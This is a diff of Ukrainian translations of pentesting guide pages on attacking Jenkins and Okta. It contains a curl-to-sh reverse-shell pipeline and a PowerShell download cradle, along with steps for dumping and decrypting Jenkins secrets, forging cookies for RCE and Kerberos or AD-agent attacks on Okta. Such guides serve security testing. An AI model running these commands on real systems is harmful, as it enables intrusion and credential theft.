Ви можете перерахувати секрети, отримуючи доступ до `/credentials/`, якщо у вас достатньо прав. Зверніть увагу, що це лише перераховує секрети всередині файлу `credentials.xml`, але **файли конфігурації збірки** також можуть містити **більше облікових даних**.
|
||||
|
||||
Якщо ви можете **бачити конфігурацію кожного проекту**, ви також можете побачити там **імена облікових даних (секретів)**, які використовуються для доступу до репозиторію та **інших облікових даних проекту**.
|
||||
|
||||
@@ -339,7 +339,7 @@ jenkins-dumping-secrets-from-groovy.md
|
||||
- jobs/.../build.xml
|
||||
- jobs/.../config.xml
|
||||
|
||||
Ось регулярний вираз, щоб їх знайти:
|
||||
Ось регулярний вираз, щоб знайти їх:
|
||||
```bash
|
||||
# Find the secrets
|
||||
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
|
||||
@@ -349,9 +349,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
|
||||
# Secret example
|
||||
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
|
||||
```
|
||||
#### Дешифрування секретів Jenkins офлайн
|
||||
#### Декодування секретів Jenkins офлайн
|
||||
|
||||
Якщо ви скинули **необхідні паролі для дешифрування секретів**, використовуйте [**цей скрипт**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **для дешифрування цих секретів**.
|
||||
Якщо ви скинули **необхідні паролі для декодування секретів**, використовуйте [**цей скрипт**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **для декодування цих секретів**.
|
||||
```bash
|
||||
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
|
||||
06165DF2-C047-4402-8CAB-1C8EC526C115
|
||||
@@ -359,7 +359,7 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
|
||||
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
|
||||
```
|
||||
#### Декодування секретів Jenkins з Groovy
|
||||
#### Дешифрування секретів Jenkins з Groovy
|
||||
```bash
|
||||
println(hudson.util.Secret.decrypt("{...}"))
|
||||
```
|
||||
@@ -369,8 +369,8 @@ println(hudson.util.Secret.decrypt("{...}"))
|
||||
2. Знайдіть слово `<useSecurity>true</useSecurity>` і змініть слово **`true`** на **`false`**.
|
||||
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
|
||||
3. **Перезапустіть** сервер **Jenkins**: `service jenkins restart`
|
||||
4. Тепер знову перейдіть до порталу Jenkins, і **Jenkins не запитає жодних облікових даних** цього разу. Ви переходите до "**Управління Jenkins**", щоб знову встановити **пароль адміністратора**.
|
||||
5. **Увімкніть** знову **безпеку**, змінивши налаштування на `<useSecurity>true</useSecurity>` і **перезапустіть Jenkins знову**.
|
||||
4. Тепер знову перейдіть до порталу Jenkins, і **Jenkins не запитає жодних облікових даних** цього разу. Ви можете перейти до "**Управління Jenkins**", щоб знову встановити **пароль адміністратора**.
|
||||
5. **Увімкніть** знову **безпеку**, змінивши налаштування на `<useSecurity>true</useSecurity>` і **знову перезапустіть Jenkins**.
|
||||
|
||||
## Посилання
|
||||
|
||||
|
||||
@@ -14,7 +14,7 @@
|
||||
|
||||
### SSO/Плагіни
|
||||
|
||||
Jenkins можна налаштувати за допомогою плагінів, щоб він був **доступний через сторонній SSO**.
|
||||
Jenkins можна налаштувати за допомогою плагінів, щоб бути **доступним через стороннє SSO**.
|
||||
|
||||
### Токени
|
||||
|
||||
@@ -29,23 +29,23 @@ Jenkins можна налаштувати за допомогою плагіні
|
||||
У `/configureSecurity` можна **налаштувати метод авторизації Jenkins**. Є кілька варіантів:
|
||||
|
||||
- **Будь-хто може робити що завгодно**: Навіть анонімний доступ може адмініструвати сервер.
|
||||
- **Спадковий режим**: Те ж саме, що і Jenkins <1.164. Якщо у вас є **роль "admin"**, вам буде надано **повний контроль** над системою, а **в іншому випадку** (включаючи **анонімних** користувачів) ви матимете **доступ для читання**.
|
||||
- **Режим спадщини**: Те ж саме, що і Jenkins <1.164. Якщо у вас є **роль "адміністратор"**, вам буде надано **повний контроль** над системою, а **в іншому випадку** (включаючи **анонімних** користувачів) ви матимете **доступ для читання**.
|
||||
- **Увійшли користувачі можуть робити що завгодно**: У цьому режимі кожен **увійшовший користувач отримує повний контроль** над Jenkins. Єдиний користувач, який не матиме повного контролю, - це **анонімний користувач**, який отримує лише **доступ для читання**.
|
||||
- **Матриця безпеки**: Ви можете налаштувати **хто може робити що** в таблиці. Кожен **стовпець** представляє **дозвіл**. Кожен **рядок** **представляє** **користувача або групу/роль.** Це включає спеціального користувача '**анонімний**', який представляє **неавтентифікованих користувачів**, а також '**автентифікований**', який представляє **всіх автентифікованих користувачів**.
|
||||
|
||||
.png>)
|
||||
|
||||
- **Стратегія авторизації на основі проекту:** Цей режим є **розширенням** до "**Матриці безпеки**", яке дозволяє визначити додаткову матрицю ACL для **кожного проекту окремо.**
|
||||
- **Стратегія на основі ролей:** Дозволяє визначати авторизації за допомогою **стратегії на основі ролей**. Керуйте ролями у `/role-strategy`.
|
||||
- **Стратегія авторизації на основі проекту:** Цей режим є **розширенням** до "**Матриці безпеки**", яке дозволяє додаткову матрицю ACL бути **визначеною для кожного проекту окремо.**
|
||||
- **Стратегія на основі ролей:** Дозволяє визначати авторизації за допомогою **стратегії на основі ролей**. Керуйте ролями в `/role-strategy`.
|
||||
|
||||
## **Область безпеки**
|
||||
|
||||
У `/configureSecurity` можна **налаштувати область безпеки.** За замовчуванням Jenkins включає підтримку кількох різних областей безпеки:
|
||||
|
||||
- **Делегувати контейнеру сервлетів**: Для **делегування аутентифікації контейнеру сервлетів, що запускає контролер Jenkins**, наприклад, [Jetty](https://www.eclipse.org/jetty/).
|
||||
- **Делегувати контейнеру сервлетів**: Для **делегування аутентифікації контейнеру сервлетів, що працює на контролері Jenkins**, наприклад, [Jetty](https://www.eclipse.org/jetty/).
|
||||
- **Власна база даних користувачів Jenkins:** Використовуйте **вбудовану базу даних користувачів Jenkins** для аутентифікації замість делегування зовнішній системі. Це включено за замовчуванням.
|
||||
- **LDAP**: Делегувати всю аутентифікацію до налаштованого LDAP сервера, включаючи як користувачів, так і групи.
|
||||
- **База даних користувачів/груп Unix**: **Делегує аутентифікацію до бази даних користувачів на рівні Unix** на контролері Jenkins. Цей режим також дозволить повторно використовувати групи Unix для авторизації.
|
||||
- **LDAP**: Делегувати всю аутентифікацію на налаштований LDAP сервер, включаючи як користувачів, так і групи.
|
||||
- **База даних користувачів/груп Unix**: **Делегує аутентифікацію на базу даних користувачів Unix** на контролері Jenkins. Цей режим також дозволить повторно використовувати групи Unix для авторизації.
|
||||
|
||||
Плагіни можуть надавати додаткові області безпеки, які можуть бути корисними для інтеграції Jenkins в існуючі системи ідентифікації, такі як:
|
||||
|
||||
@@ -57,9 +57,9 @@ Jenkins можна налаштувати за допомогою плагіні
|
||||
|
||||
Визначення з [документації](https://www.jenkins.io/doc/book/managing/nodes/):
|
||||
|
||||
**Вузли** - це **машини**, на яких працюють **агенти збірки**. Jenkins контролює кожен підключений вузол на наявність вільного місця на диску, вільного тимчасового місця, вільного обміну, часу/синхронізації годинника та часу відповіді. Вузол виводиться з експлуатації, якщо будь-яке з цих значень виходить за межі налаштованого порогу.
|
||||
**Вузли** - це **машини**, на яких працюють **агенти збірки**. Jenkins контролює кожен підключений вузол на наявність вільного місця на диску, вільного тимчасового місця, вільного обміну, часу/синхронізації годинника та часу відгуку. Вузол виводиться з експлуатації, якщо будь-яке з цих значень виходить за межі налаштованого порогу.
|
||||
|
||||
**Агенти** **керують** **виконанням завдань** від імені контролера Jenkins, **використовуючи виконавців**. Агент може використовувати будь-яку операційну систему, яка підтримує Java. Інструменти, необхідні для збірок і тестів, встановлюються на вузлі, де працює агент; їх можна **встановити безпосередньо або в контейнері** (Docker або Kubernetes). Кожен **агент фактично є процесом зі своїм PID** на хост-машині.
|
||||
**Агенти** **керують** **виконанням завдань** від імені контролера Jenkins, використовуючи **виконавців**. Агент може використовувати будь-яку операційну систему, яка підтримує Java. Інструменти, необхідні для збірок і тестів, встановлюються на вузлі, де працює агент; їх можна **встановити безпосередньо або в контейнері** (Docker або Kubernetes). Кожен **агент фактично є процесом зі своїм PID** на хост-машині.
|
||||
|
||||
**Виконавець** - це **слот для виконання завдань**; фактично, це **потік в агенті**. **Кількість виконавців** на вузлі визначає кількість **паралельних завдань**, які можуть бути виконані на цьому вузлі одночасно. Іншими словами, це визначає **кількість паралельних Pipeline `стадій`**, які можуть виконуватися на цьому вузлі одночасно.
|
||||
|
||||
@@ -67,11 +67,11 @@ Jenkins можна налаштувати за допомогою плагіні
|
||||
|
||||
### Шифрування секретів і облікових даних
|
||||
|
||||
Визначення з [документації](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins використовує **AES для шифрування та захисту секретів**, облікових даних та їх відповідних ключів шифрування. Ці ключі шифрування зберігаються в `$JENKINS_HOME/secrets/` разом з майстер-ключем, що використовується для захисту зазначених ключів. Цю директорію слід налаштувати так, щоб лише користувач операційної системи, під яким працює контролер Jenkins, мав доступ на читання та запис до цієї директорії (тобто значення `chmod` повинно бути `0700` або використовувати відповідні атрибути файлів). **Майстер-ключ** (іноді називається "ключ шифрування" у криптографії) **зберігається \_незашифрованим\_** на файловій системі контролера Jenkins у **`$JENKINS_HOME/secrets/master.key`**, що не захищає від атакуючих з прямим доступом до цього файлу. Більшість користувачів і розробників використовуватимуть ці ключі шифрування непрямо через API [Secret](https://javadoc.jenkins.io/byShortName/Secret) для шифрування загальних секретних даних або через API облікових даних. Для криптоцікавих, Jenkins використовує AES в режимі шифрувального блоку з ланцюгуванням (CBC) з PKCS#5 заповненням і випадковими IV для шифрування екземплярів [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey), які зберігаються в `$JENKINS_HOME/secrets/` з іменем файлу, що відповідає їх `CryptoConfidentialKey` id. Загальні ідентифікатори ключів включають:
|
||||
Визначення з [документації](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins використовує **AES для шифрування та захисту секретів**, облікових даних та їх відповідних ключів шифрування. Ці ключі шифрування зберігаються в `$JENKINS_HOME/secrets/` разом з майстер-ключем, що використовується для захисту цих ключів. Цю директорію слід налаштувати так, щоб лише користувач операційної системи, під яким працює контролер Jenkins, мав доступ на читання та запис до цієї директорії (тобто значення `chmod` повинно бути `0700` або використовувати відповідні атрибути файлів). **Майстер-ключ** (іноді називається "ключ шифрування" у криптографії) **зберігається \_незашифрованим\_** на файловій системі контролера Jenkins у **`$JENKINS_HOME/secrets/master.key`**, що не захищає від атакуючих з прямим доступом до цього файлу. Більшість користувачів і розробників використовуватимуть ці ключі шифрування непрямо через API [Secret](https://javadoc.jenkins.io/byShortName/Secret) для шифрування загальних секретних даних або через API облікових даних. Для криптоцікавих, Jenkins використовує AES в режимі шифрувального блоку з ланцюгуванням (CBC) з PKCS#5 заповненням і випадковими IV для шифрування екземплярів [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey), які зберігаються в `$JENKINS_HOME/secrets/` з ім'ям файлу, що відповідає їх `CryptoConfidentialKey` id. Загальні id ключів включають:
|
||||
|
||||
- `hudson.util.Secret`: використовується для загальних секретів;
|
||||
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: використовується для деяких типів облікових даних;
|
||||
- `jenkins.model.Jenkins.crumbSalt`: використовується механізмом [захисту від CSRF](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); та
|
||||
- `jenkins.model.Jenkins.crumbSalt`: використовується механізмом [CSRF захисту](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); і
|
||||
|
||||
### Доступ до облікових даних
|
||||
|
||||
|
||||
+5
-5
@@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
У цьому блозі можна знайти чудовий спосіб перетворити вразливість Local File Inclusion у Jenkins на RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
|
||||
У цьому блозі можна знайти чудовий спосіб перетворити вразливість Local File Inclusion в Jenkins на RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
|
||||
|
||||
Це підсумок, створений штучним інтелектом, частини посту, де зловживання створенням довільного cookie використовується для отримання RCE, зловживаючи читанням локальних файлів, поки у мене є час створити підсумок самостійно:
|
||||
Це підсумок, створений штучним інтелектом, частини посту, де зловживання створенням довільного cookie використовується для отримання RCE, зловживаючи читанням локальних файлів, поки я не матиму часу створити підсумок самостійно:
|
||||
|
||||
### Attack Prerequisites
|
||||
|
||||
@@ -26,7 +26,7 @@
|
||||
|
||||
**Secret Key Extraction**
|
||||
|
||||
- Витягти криптографічні ключі, що використовуються для підписання cookie:
|
||||
- Витягти криптографічні ключі, що використовуються для підписування cookie:
|
||||
- **Secret Key:** `$JENKINS_HOME/secret.key`
|
||||
- **Master Key:** `$JENKINS_HOME/secrets/master.key`
|
||||
- **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
|
||||
@@ -84,7 +84,7 @@ username + ":" + tokenExpiryTime + ":" + tokenSignature
|
||||
|
||||
- **Fetch CSRF and Session Tokens:**
|
||||
- Зробити запит до `/crumbIssuer/api/json`, щоб отримати `Jenkins-Crumb`.
|
||||
- Захопити `JSESSIONID` з відповіді, який буде використано разом з cookie "remember-me".
|
||||
- Захопити `JSESSIONID` з відповіді, який буде використовуватися разом з cookie "remember-me".
|
||||
|
||||
**Command Execution Request**
|
||||
|
||||
@@ -98,7 +98,7 @@ curl -X POST "$JENKINS_URL/scriptText" \
|
||||
--data-urlencode "script=$SCRIPT"
|
||||
```
|
||||
|
||||
- Groovy скрипт може бути використаний для виконання команд на рівні системи або інших операцій у середовищі Jenkins.
|
||||
- Groovy скрипт може бути використаний для виконання команд на системному рівні або інших операцій у середовищі Jenkins.
|
||||
|
||||
Приклад команди curl демонструє, як зробити запит до Jenkins з необхідними заголовками та cookie для безпечного виконання довільного коду.
|
||||
|
||||
|
||||
@@ -1,14 +1,14 @@
|
||||
# Jenkins RCE Creating/Modifying Pipeline
|
||||
# Jenkins RCE Створення/Модифікація Пайплайну
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Створення нового Pipeline
|
||||
## Створення нового Пайплайну
|
||||
|
||||
У "New Item" (доступно за адресою `/view/all/newJob`) виберіть **Pipeline:**
|
||||
У "Новий елемент" (доступний за адресою `/view/all/newJob`) виберіть **Пайплайн:**
|
||||
|
||||
.png>)
|
||||
|
||||
У **Pipeline section** напишіть **reverse shell**:
|
||||
У **розділі Пайплайн** напишіть **реверсну оболонку**:
|
||||
|
||||
.png>)
|
||||
```groovy
|
||||
@@ -26,12 +26,12 @@ curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
|
||||
}
|
||||
}
|
||||
```
|
||||
Нарешті натисніть **Save**, а потім **Build Now**, і конвеєр буде виконано:
|
||||
Нарешті натисніть **Зберегти**, а потім **Запустити зараз**, і конвеєр буде виконано:
|
||||
|
||||
.png>)
|
||||
|
||||
## Модифікація конвеєра
|
||||
|
||||
Якщо ви можете отримати доступ до файлу конфігурації деякого налаштованого конвеєра, ви можете просто **модифікувати його, додавши ваш реверсний шелл**, а потім виконати його або дочекатися, поки його виконають.
|
||||
Якщо ви можете отримати доступ до файлу конфігурації деякого налаштованого конвеєра, ви можете просто **модифікувати його, додавши ваш зворотний шелл**, а потім виконати його або дочекатися, поки він буде виконаний.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,20 +1,20 @@
|
||||
# Jenkins RCE Creating/Modifying Project
|
||||
# Jenkins RCE Створення/Модифікація Проекту
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Creating a Project
|
||||
## Створення Проекту
|
||||
|
||||
Цей метод дуже шумний, оскільки вам потрібно створити абсолютно новий проект (очевидно, це спрацює лише в тому випадку, якщо ваш користувач має право створювати новий проект).
|
||||
Цей метод дуже шумний, оскільки вам потрібно створити абсолютно новий проект (очевидно, це спрацює лише якщо ваш користувач має право створювати новий проект).
|
||||
|
||||
1. **Створіть новий проект** (Freestyle project), натиснувши "New Item" або в `/view/all/newJob`
|
||||
2. У розділі **Build** встановіть **Execute shell** і вставте запускник powershell Empire або meterpreter powershell (можна отримати за допомогою _unicorn_). Запустіть payload з _PowerShell.exe_, а не з _powershell._
|
||||
2. У розділі **Build** встановіть **Execute shell** і вставте запускник powershell Empire або meterpreter powershell (можна отримати за допомогою _unicorn_). Запустіть payload з _PowerShell.exe_ замість _powershell._
|
||||
3. Натисніть **Build now**
|
||||
1. Якщо кнопка **Build now** не з'являється, ви все ще можете перейти до **configure** --> **Build Triggers** --> `Build periodically` і встановити cron на `* * * * *`
|
||||
2. Замість використання cron, ви можете використовувати конфігурацію "**Trigger builds remotely**", де вам просто потрібно встановити ім'я токена API для запуску роботи. Потім перейдіть до свого профілю користувача і **згенеруйте токен API** (назвіть цей токен API так, як ви назвали токен API для запуску роботи). Нарешті, запустіть роботу з: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
|
||||
|
||||
.png>)
|
||||
|
||||
## Modifying a Project
|
||||
## Модифікація Проекту
|
||||
|
||||
Перейдіть до проектів і перевірте **чи можете ви налаштувати будь-який** з них (шукайте кнопку "Configure"):
|
||||
|
||||
@@ -24,13 +24,13 @@
|
||||
|
||||
Або **спробуйте отримати доступ до шляху** `/job/<proj-name>/configure` або `/me/my-views/view/all/job/<proj-name>/configure` \_\_ в кожному проекті (приклад: `/job/Project0/configure` або `/me/my-views/view/all/job/Project0/configure`).
|
||||
|
||||
## Execution
|
||||
## Виконання
|
||||
|
||||
Якщо вам дозволено налаштувати проект, ви можете **зробити так, щоб він виконував команди, коли збірка успішна**:
|
||||
|
||||
.png>)
|
||||
|
||||
Натисніть **Save** і **build** проект, і ваша **команда буде виконана**.\
|
||||
Якщо ви не виконуєте зворотний shell, а просто команду, ви можете **побачити вихід команди всередині виходу збірки**.
|
||||
Якщо ви не виконуєте зворотний shell, а просто команду, ви можете **бачити вихід команди всередині виходу збірки**.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# Jenkins RCE with Groovy Script
|
||||
# Jenkins RCE з Groovy Script
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Jenkins RCE with Groovy Script
|
||||
## Jenkins RCE з Groovy Script
|
||||
|
||||
Це менш шумно, ніж створення нового проекту в Jenkins
|
||||
Це менш помітно, ніж створення нового проекту в Jenkins
|
||||
|
||||
1. Перейдіть до _path_jenkins/script_
|
||||
2. Введіть скрипт у текстове поле
|
||||
@@ -12,11 +12,11 @@
|
||||
def process = "PowerShell.exe <WHATEVER>".execute()
|
||||
println "Found text ${process.text}"
|
||||
```
|
||||
Ви можете виконати команду, використовуючи: `cmd.exe /c dir`
|
||||
Ви можете виконати команду за допомогою: `cmd.exe /c dir`
|
||||
|
||||
В **linux** ви можете зробити: **`"ls /".execute().text`**
|
||||
|
||||
Якщо вам потрібно використовувати _цитати_ та _одинарні цитати_ всередині тексту, ви можете використовувати _"""PAYLOAD"""_ (три подвійні лапки) для виконання корисного коду.
|
||||
Якщо вам потрібно використовувати _лапки_ та _одинарні лапки_ всередині тексту. Ви можете використовувати _"""PAYLOAD"""_ (три подвійні лапки), щоб виконати корисне навантаження.
|
||||
|
||||
**Ще один корисний groovy скрипт** це (замініть \[INSERT COMMAND]):
|
||||
```python
|
||||
@@ -42,7 +42,7 @@ scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1
|
||||
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
|
||||
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>
|
||||
```
|
||||
### Script
|
||||
### Скрипт
|
||||
|
||||
Ви можете автоматизувати цей процес за допомогою [**цього скрипта**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
|
||||
|
||||
|
||||
@@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Основна інформація
|
||||
|
||||
[Okta, Inc.](https://www.okta.com/) визнана в секторі управління ідентичністю та доступом за свої рішення програмного забезпечення на основі хмари. Ці рішення призначені для спрощення та забезпечення аутентифікації користувачів у різних сучасних додатках. Вони орієнтовані не лише на компанії, які прагнуть захистити свої чутливі дані, але й на розробників, які зацікавлені в інтеграції контролю ідентичності в додатки, веб-сервіси та пристрої.
|
||||
[Okta, Inc.](https://www.okta.com/) визнана в секторі управління ідентичністю та доступом за своїми хмарними програмними рішеннями. Ці рішення призначені для спрощення та забезпечення автентифікації користувачів у різних сучасних додатках. Вони орієнтовані не лише на компанії, які прагнуть захистити свої чутливі дані, але й на розробників, які зацікавлені в інтеграції контролю ідентичності в додатки, веб-сервіси та пристрої.
|
||||
|
||||
Флагманською пропозицією від Okta є **Okta Identity Cloud**. Ця платформа охоплює набір продуктів, включаючи, але не обмежуючись:
|
||||
Флагманським продуктом Okta є **Okta Identity Cloud**. Ця платформа охоплює набір продуктів, включаючи, але не обмежуючись:
|
||||
|
||||
- **Single Sign-On (SSO)**: Спрощує доступ користувачів, дозволяючи використовувати один набір облікових даних для кількох додатків.
|
||||
- **Multi-Factor Authentication (MFA)**: Підвищує безпеку, вимагаючи кілька форм перевірки.
|
||||
@@ -17,78 +17,78 @@
|
||||
Ці послуги колективно спрямовані на зміцнення захисту даних та спрощення доступу користувачів, підвищуючи як безпеку, так і зручність. Універсальність рішень Okta робить їх популярним вибором у різних галузях, корисним для великих підприємств, малих компаній та окремих розробників. Станом на останнє оновлення у вересні 2021 року, Okta визнана видатною компанією в сфері управління ідентичністю та доступом (IAM).
|
||||
|
||||
> [!CAUTION]
|
||||
> Основна мета Okta - налаштувати доступ для різних користувачів та груп до зовнішніх додатків. Якщо вам вдасться **компрометувати привілеї адміністратора в середовищі Oktas**, ви, ймовірно, зможете **компрометувати всі інші платформи, які використовує компанія**.
|
||||
> Основна мета Okta - налаштувати доступ до різних користувачів і груп до зовнішніх додатків. Якщо вам вдасться **компрометувати привілеї адміністратора в середовищі Oktas**, ви, ймовірно, зможете **компрометувати всі інші платформи, які використовує компанія**.
|
||||
|
||||
> [!TIP]
|
||||
> Для проведення перевірки безпеки середовища Okta вам слід запитати **доступ адміністратора лише для читання**.
|
||||
> Для проведення перевірки безпеки середовища Okta вам слід запитати **доступ адміністратора тільки для читання**.
|
||||
|
||||
### Summary
|
||||
### Резюме
|
||||
|
||||
Є **користувачі** (які можуть бути **збережені в Okta,** увійшли з налаштованих **постачальників ідентичності** або аутентифіковані через **Active Directory** або LDAP).\
|
||||
Є **користувачі** (які можуть бути **збережені в Okta,** увійшли з налаштованих **постачальників ідентичності** або автентифіковані через **Active Directory** або LDAP).\
|
||||
Ці користувачі можуть бути в **групах**.\
|
||||
Є також **аутентифікатори**: різні варіанти аутентифікації, такі як пароль, та кілька 2FA, як WebAuthn, електронна пошта, телефон, okta verify (вони можуть бути увімкнені або вимкнені)...
|
||||
Є також **автентифікатори**: різні варіанти автентифікації, такі як пароль, та кілька 2FA, таких як WebAuthn, електронна пошта, телефон, okta verify (вони можуть бути увімкнені або вимкнені)...
|
||||
|
||||
Потім є **додатки**, синхронізовані з Okta. Кожен додаток матиме певне **відображення з Okta** для обміну інформацією (такою як адреси електронної пошти, імена...). Більше того, кожен додаток повинен бути в **Політиці аутентифікації**, яка вказує на **необхідні аутентифікатори** для користувача, щоб **отримати доступ** до додатка.
|
||||
Потім є **додатки**, синхронізовані з Okta. Кожен додаток матиме певне **відображення з Okta** для обміну інформацією (такою як адреси електронної пошти, імена...). Більше того, кожен додаток повинен бути в **Політиці автентифікації**, яка вказує на **необхідні автентифікатори** для користувача, щоб **отримати доступ** до додатка.
|
||||
|
||||
> [!CAUTION]
|
||||
> Найбільш потужна роль - **Super Administrator**.
|
||||
>
|
||||
> Якщо зловмисник компрометує Okta з доступом адміністратора, всі **додатки, які довіряють Okta**, ймовірно, будуть **компрометовані**.
|
||||
|
||||
## Attacks
|
||||
## Атаки
|
||||
|
||||
### Locating Okta Portal
|
||||
### Локалізація порталу Okta
|
||||
|
||||
Зазвичай портал компанії буде розташований за адресою **companyname.okta.com**. Якщо ні, спробуйте прості **варіації** **companyname.** Якщо ви не можете його знайти, також можливо, що організація має запис **CNAME** на кшталт **`okta.companyname.com`**, що вказує на **Okta портал**.
|
||||
Зазвичай портал компанії буде розташований за адресою **companyname.okta.com**. Якщо ні, спробуйте прості **варіації** **companyname.** Якщо ви не можете його знайти, також можливо, що організація має запис **CNAME** на кшталт **`okta.companyname.com`**, що вказує на **портал Okta**.
|
||||
|
||||
### Login in Okta via Kerberos
|
||||
### Увійти в Okta через Kerberos
|
||||
|
||||
Якщо **`companyname.kerberos.okta.com`** активний, **Kerberos використовується для доступу до Okta**, зазвичай обходячи **MFA** для **Windows** користувачів. Щоб знайти користувачів Okta, аутентифікованих за допомогою Kerberos в AD, запустіть **`getST.py`** з **відповідними параметрами**. Отримавши **квиток користувача AD**, **впровадьте** його в контрольований хост, використовуючи такі інструменти, як Rubeus або Mimikatz, переконавшись, що **`clientname.kerberos.okta.com` знаходиться в зоні "Інтранет" в параметрах Інтернету**. Доступ до конкретного URL повинен повернути JSON-відповідь "OK", що вказує на прийняття квитка Kerberos і надання доступу до панелі управління Okta.
|
||||
Якщо **`companyname.kerberos.okta.com`** активний, **Kerberos використовується для доступу до Okta**, зазвичай обходячи **MFA** для **Windows** користувачів. Щоб знайти користувачів Okta, автентифікованих через Kerberos в AD, запустіть **`getST.py`** з **відповідними параметрами**. Отримавши **квиток користувача AD**, **впровадьте** його в контрольований хост, використовуючи такі інструменти, як Rubeus або Mimikatz, переконавшись, що **`clientname.kerberos.okta.com` знаходиться в зоні "Інтранет" параметрів Інтернету**. Доступ до конкретного URL повинен повернути JSON-відповідь "OK", що вказує на прийняття квитка Kerberos і надає доступ до панелі управління Okta.
|
||||
|
||||
Компрометація **облікового запису служби Okta з делегованим SPN дозволяє провести атаку Silver Ticket.** Однак використання Okta **AES** для шифрування квитків вимагає наявності ключа AES або пароля у відкритому вигляді. Використовуйте **`ticketer.py`, щоб згенерувати квиток для жертви** та доставити його через браузер для аутентифікації з Okta.
|
||||
Компрометація **облікового запису служби Okta з делегованим SPN дозволяє провести атаку Silver Ticket.** Однак використання Okta **AES** для шифрування квитків вимагає наявності ключа AES або пароля у відкритому вигляді. Використовуйте **`ticketer.py`, щоб згенерувати квиток для жертви** і доставити його через браузер для автентифікації в Okta.
|
||||
|
||||
**Перевірте атаку в** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
### Hijacking Okta AD Agent
|
||||
### Викрадення агента AD Okta
|
||||
|
||||
Ця техніка передбачає **доступ до Okta AD Agent на сервері**, який **синхронізує користувачів і обробляє аутентифікацію**. Перевіряючи та розшифровуючи конфігурації в **`OktaAgentService.exe.config`**, зокрема AgentToken, використовуючи **DPAPI**, зловмисник може потенційно **перехоплювати та маніпулювати даними аутентифікації**. Це дозволяє не лише **моніторити** та **захоплювати облікові дані користувачів** у відкритому вигляді під час процесу аутентифікації Okta, але й **відповідати на спроби аутентифікації**, що дозволяє несанкціонований доступ або надає універсальну аутентифікацію через Okta (аналогічно "скелетному ключу").
|
||||
Ця техніка передбачає **доступ до агента AD Okta на сервері**, який **синхронізує користувачів і обробляє автентифікацію**. Вивчаючи та розшифровуючи конфігурації в **`OktaAgentService.exe.config`**, зокрема AgentToken, використовуючи **DPAPI**, зловмисник може потенційно **перехоплювати та маніпулювати даними автентифікації**. Це дозволяє не лише **моніторити** та **захоплювати облікові дані користувачів** у відкритому вигляді під час процесу автентифікації Okta, але й **відповідати на спроби автентифікації**, що дозволяє несанкціонований доступ або надає універсальну автентифікацію через Okta (подібно до "скелетного ключа").
|
||||
|
||||
**Перевірте атаку в** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
### Hijacking AD As an Admin
|
||||
### Викрадення AD як адміністратор
|
||||
|
||||
Ця техніка передбачає захоплення Okta AD Agent, спочатку отримавши OAuth Code, а потім запитуючи API токен. Токен пов'язаний з доменом AD, і **конектор називається для створення фальшивого AD агента**. Ініціалізація дозволяє агенту **обробляти спроби аутентифікації**, захоплюючи облікові дані через API Okta. Доступні автоматизаційні інструменти для спрощення цього процесу, пропонуючи безперешкодний метод перехоплення та обробки даних аутентифікації в середовищі Okta.
|
||||
